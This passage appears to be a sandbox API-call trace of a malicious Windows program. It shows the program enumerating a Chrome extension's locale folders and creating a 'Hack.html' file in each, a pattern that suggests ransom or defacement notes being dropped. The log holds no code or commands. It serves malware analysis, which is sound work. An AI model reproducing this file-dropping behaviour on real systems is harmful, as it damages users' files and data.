[0072.917] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.917] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.918] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.918] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.918] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.918] GetFileType (hFile=0x174) returned 0x1 [0072.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.918] GetFileType (hFile=0x174) returned 0x1 [0072.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.919] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.919] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.919] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.919] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.919] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.920] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.920] GetFileType (hFile=0x174) returned 0x1 [0072.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.920] GetFileType (hFile=0x174) returned 0x1 [0072.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.923] GetFileType (hFile=0x174) returned 0x1 [0072.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.923] GetFileType (hFile=0x174) returned 0x1 [0072.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.924] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.924] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.925] GetFileType (hFile=0x174) returned 0x1 [0072.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.925] GetFileType (hFile=0x174) returned 0x1 [0072.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.928] GetFileType (hFile=0x174) returned 0x1 [0072.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.928] GetFileType (hFile=0x174) returned 0x1 [0072.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.930] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.930] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.930] GetFileType (hFile=0x174) returned 0x1 [0072.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.930] GetFileType (hFile=0x174) returned 0x1 [0072.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.931] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.931] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.931] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.932] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.932] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.932] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.932] GetFileType (hFile=0x174) returned 0x1 [0072.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.932] GetFileType (hFile=0x174) returned 0x1 [0072.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.937] GetFileType (hFile=0x174) returned 0x1 [0072.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.937] GetFileType (hFile=0x174) returned 0x1 [0072.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.940] GetFileType (hFile=0x174) returned 0x1 [0072.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.940] GetFileType (hFile=0x174) returned 0x1 [0072.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.943] GetFileType (hFile=0x174) returned 0x1 [0072.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.943] GetFileType (hFile=0x174) returned 0x1 [0072.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.944] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.946] GetFileType (hFile=0x174) returned 0x1 [0072.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.946] GetFileType (hFile=0x174) returned 0x1 [0072.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.947] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.947] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.947] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.948] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.948] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.948] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.948] GetFileType (hFile=0x174) returned 0x1 [0072.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.948] GetFileType (hFile=0x174) returned 0x1 [0072.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.949] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.950] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.950] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.950] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.950] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.950] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.950] GetFileType (hFile=0x174) returned 0x1 [0072.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.950] GetFileType (hFile=0x174) returned 